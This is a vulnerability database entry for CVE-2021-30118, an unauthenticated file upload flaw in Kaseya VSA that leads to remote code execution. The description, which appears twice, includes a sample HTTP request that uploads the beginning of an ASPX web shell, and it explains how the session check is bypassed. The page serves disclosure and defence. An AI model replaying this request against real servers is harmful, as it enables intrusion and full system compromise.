9.8
CRITICAL
CVE-2021-30118
Kaseya VSA Unified Remote Monitoring & Management (RMM) ASP File Upload Vulnerability
Description

An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.

INFO

Published Date :

July 9, 2021, 2:15 p.m.

Last Modified :

April 29, 2022, 6:59 p.m.

Remotely Exploitable :

Yes !

Impact Score :

5.9

Exploitability Score :

3.9
Affected Products

The following products are affected by CVE-2021-30118 vulnerability. Even if cvefeed.io is aware of the exact versions of the products that are affected, the information is not represented in the table below.

ID Vendor Product Action
1 Kaseya vsa
References to Advisories, Solutions, and Tools

Here, you will find a curated list of external links that provide in-depth information, practical solutions, and valuable tools related to CVE-2021-30118.

URL Resource
https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/ Patch Third Party Advisory
https://csirt.divd.nl/CVE-2021-30118 Exploit Third Party Advisory
https://csirt.divd.nl/DIVD-2021-00011 Patch Third Party Advisory
https://helpdesk.kaseya.com/hc/en-gb/articles/360019054377-9-5-5-Feature-Release-10-April-2021 Release Notes Vendor Advisory

We scan GitHub repositories to detect new proof-of-concept exploits. Following list is a collection of public exploits and proof-of-concepts, which have been published on GitHub (sorted by the most recently updated).

Results are limited to the first 15 repositories due to potential performance issues.

The following list is the news that have been mention CVE-2021-30118 vulnerability anywhere in the article.

The following table lists the changes that have been made to the CVE-2021-30118 vulnerability over time.

Vulnerability history details can be useful for understanding the evolution of a vulnerability, and for identifying the most recent changes that may impact the vulnerability's severity, exploitability, or other characteristics.

  • CVE Modified by [email protected]

    May. 14, 2024

    Action Type Old Value New Value
  • Modified Analysis by [email protected]

    Apr. 29, 2022

    Action Type Old Value New Value
    Removed CVSS V2 NIST (AV:N/AC:L/Au:N/C:P/I:P/A:P)
    Added CVSS V2 NIST (AV:N/AC:L/Au:N/C:C/I:C/A:C)
    Changed Reference Type https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/ Third Party Advisory https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/ Patch, Third Party Advisory
    Changed Reference Type https://csirt.divd.nl/CVE-2021-30118 Third Party Advisory https://csirt.divd.nl/CVE-2021-30118 Exploit, Third Party Advisory
    Changed Reference Type https://csirt.divd.nl/DIVD-2021-00011 Third Party Advisory https://csirt.divd.nl/DIVD-2021-00011 Patch, Third Party Advisory
    Removed CWE NIST NVD-CWE-noinfo
    Added CWE NIST CWE-434
  • CVE Modified by [email protected]

    Apr. 04, 2022

    Action Type Old Value New Value
    Changed Description Kaseya VSA before 9.5.5 allows remote code execution. An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.
  • Modified Analysis by [email protected]

    Mar. 25, 2022

    Action Type Old Value New Value
    Changed Reference Type https://csirt.divd.nl/CVE-2021-30118 No Types Assigned https://csirt.divd.nl/CVE-2021-30118 Third Party Advisory
    Changed Reference Type https://csirt.divd.nl/DIVD-2021-00011 No Types Assigned https://csirt.divd.nl/DIVD-2021-00011 Third Party Advisory
    Changed Reference Type https://helpdesk.kaseya.com/hc/en-gb/articles/360019054377-9-5-5-Feature-Release-10-April-2021 No Types Assigned https://helpdesk.kaseya.com/hc/en-gb/articles/360019054377-9-5-5-Feature-Release-10-April-2021 Release Notes, Vendor Advisory
  • CVE Modified by [email protected]

    Feb. 07, 2022

    Action Type Old Value New Value
    Added CVSS V3.1 MITRE AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    Added Reference https://helpdesk.kaseya.com/hc/en-gb/articles/360019054377-9-5-5-Feature-Release-10-April-2021 [No Types Assigned]
    Added Reference https://csirt.divd.nl/CVE-2021-30118 [No Types Assigned]
    Added Reference https://csirt.divd.nl/DIVD-2021-00011 [No Types Assigned]
  • Initial Analysis by [email protected]

    Jul. 12, 2021

    Action Type Old Value New Value
    Added CVSS V2 NIST (AV:N/AC:L/Au:N/C:P/I:P/A:P)
    Added CVSS V3.1 NIST AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    Changed Reference Type https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/ No Types Assigned https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/ Third Party Advisory
    Added CWE NIST NVD-CWE-noinfo
    Added CPE Configuration OR *cpe:2.3:a:kaseya:vsa:*:*:*:*:-:*:*:* versions up to (excluding) 9.5.5
EPSS is a daily estimate of the probability of exploitation activity being observed over the next 30 days. Following chart shows the EPSS score history of the vulnerability.
CWE - Common Weakness Enumeration

While CVE identifies specific instances of vulnerabilities, CWE categorizes the common flaws or weaknesses that can lead to vulnerabilities. CVE-2021-30118 is associated with the following CWEs:

Common Attack Pattern Enumeration and Classification (CAPEC)

Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2021-30118 weaknesses.

Exploit Prediction

EPSS is a daily estimate of the probability of exploitation activity being observed over the next 30 days.

0.23 }} -0.09%

score

0.61375

percentile

CVSS31 - Vulnerability Scoring System
Attack Vector
Attack Complexity
Privileges Required
User Interaction
Scope
Confidentiality
Integrity
Availability